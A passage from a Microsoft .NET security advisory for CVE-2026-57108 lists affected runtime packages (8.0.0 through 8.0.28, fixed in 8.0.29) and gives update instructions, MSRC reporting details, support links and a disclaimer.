[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
## Advisory FAQ
### How do I know if I am affected?
If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability.
### How do I fix the issue?
1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
2. If your application references the vulnerable nuget package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
## Other Information
### Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
### Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
### Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
### External Links
[CVE-2026-57108]( https://www.cve.org/CVERecord?id=CVE-2026-57108)
### Acknowledgements
41ae55e9310ff27fa6f26af4727e5590
### Revisions
V1.0 (July 14, 2026): Advisory published. |